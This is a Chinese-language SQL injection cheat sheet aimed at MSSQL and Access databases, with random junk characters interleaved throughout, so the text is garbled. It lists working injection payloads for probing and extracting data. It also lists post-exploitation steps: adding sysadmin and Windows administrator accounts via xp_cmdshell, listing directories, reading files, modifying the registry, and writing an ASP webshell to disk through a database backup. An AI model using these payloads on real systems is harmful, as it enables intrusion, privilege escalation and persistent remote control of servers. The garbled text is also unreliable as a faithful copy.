1.判断是否有注入;and 1=1 ;and 1=2 HPa|uDVv
2.初步判断是否是mssql ;and user>0 G5{Ot>;*%
o A~4p(
3.注入参数是字符'and [查询条件] and ''=' `W[+%b
XLTD;[jO
4.搜索时没过滤参数的'and [查询条件] and '%25'=' &.*uc|{
B50 [O!
5.判断数据库系统 (BERY
o@dy:AR
;and (select count(*) from sysobjects)>0 mssql 5a(<%Q
<"
CtT~0Y|
;and (select count(*) from msysobjects)>0 access '1]7zWbW
;IC'Gq
z };ZxN
kb|eQtH
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Qg0vG]
" OGdE_E
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 {rPk3
d.pp3D9/
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 DzPs!(5[I
A/Khk2-:
9.(1)猜字段的ascii值(access) h39e)%x1
=w<VT%
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ">6&+^BN'
*?8RXer
(2)猜字段的ascii值(mssql) `)[dVfxA
abZdGnc
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 M^ 5e~y
w3#`1T`N
10.测试权限结构(mssql)
H4skvIl
yL"i
(^H5EeGV{
m1e b8yX
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- w &vhWq
m4gU*?
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
A1Q
+0
lA{(8sKN
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- }
gkP
Z( #Ln
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- C|6{fd4?
;i9>}]6
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- e}Q>\t45
RqGVp?
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- b5Q8pWZg,
+Pw,Nl\KD
;and 1=(select IS_MEMBER('db_owner'));-- GEtbs+ [
SOH%Q_
k
]bPI$
Wy(pLBmb
11.添加mssql和系统的帐户 6_U|(f
_j 5N=I{U
;exec master.dbo.sp_addlogin username;-- sPpS~wk*
;exec master.dbo.sp_password null,username,password;-- |yAK@Hl'
9-G b"hr
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- qG^_c;l6a
k6J\Kkk(
;exec master.dbo.xp_cmdshell 'net user username password 1CiA 8
S$K}v,8.sr
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- M]B3vPA/v
W^(Iw%ek
;exec master.dbo.xp_cmdshell 'net user username password /add';-- taCCw2s-8*
m %Y(O
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- F;a3
l7Y8b`
WFj*nS^~l
O!];_q/
12.(1)遍历目录 ss;
5C:*y
P/`m3aSzX.
;create table dirs(paths varchar(100), id int) `r]TA]DR
yId;\o B
;insert dirs exec master.dbo.xp_dirtree 'c:\' y.fs,!|%@
Bhx<g&|j
;and (select top 1 paths from dirs)>0 (+x]##Q
k<, u0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) \kk!Dz*H
q\U4n[Zk
}Eb]9c\
+',^((o
(2)遍历目录 <p)Z/
lO_c/o$
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- u0'i!@795
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 /4H[4m]I
7&px+155
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 'f6PjI
/B=l,:TnJ
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 `#=fA
v D&Kae<
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 k)i"tpw
hU)'OKe
X/wmKi
R|H[lbw
13.mssql中的存储过程 =
uk`pj[l
Me<du&
T
xp_regenumvalues 注册表根键, 子键 \KNdZC?V2
r!~(R+,c
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 X
[!X>w&z|
.c: )Qli
xp_regread 根键,子键,键值名 u x#.:C|
[NZ-WU&&LP
;exec xp_regread E+Im~=m$
_lNC<7+#h
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 +.wT
9kFcc
]DU61Z"v?b
xp_regwrite 根键,子键, 值名, 值类型, 值 S{ey@X(
)ZN(2z
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 'jN/~I
IyT?-R
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 $^K]&Mft
ret0z|
xp_regdeletevalue 根键,子键,值名 bz$Qk;m=H
Li ij{ahm
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 1N>6rN
'}T;b} &s
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 s{cKBau
;*.(.
m]1!-`(*
N-D(y
14.mssql的backup创建webshell ,b:n1
{:3.27jQ
use model BL0|\&*1
2J)74SeH
create table cmd(str image); hc6.#~i
@Mzz2&(dU
insert into cmd(str) values (''); (GnVwJ<v9V
[\88@B=jXP
backup database model to disk='c:\l.asp'; Et)920
_ r~+p
'qdg:_L"
yS+(<
15.mssql内置函数 z;ULQ
kAY@^vi
;and (select @@version)>0 获得Windows的版本号 Z6NJ)XQy6F
Ew>~a8!Fq
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Oq[i &
WBy[m ?d
;and (select user_name())>0 爆当前系统的连接用户 <8g=BWA
!8we8)7
;and (select db_name())>0 得到当前连接的数据库 tK*%8I\s
C?{D"f`[]
Zo'/^S
;x,+*%
16.简洁的webshell kSB3KR;~n
"$]ls9-%n
use model - J{Dxz
vJ~4D*(]l
create table cmd(str image); s c5\( b
tSI& "-
insert into cmd(str) values (''); a5X`jo
W^003*m~~K
backup database model to disk='g:\wwwtest\l.asp';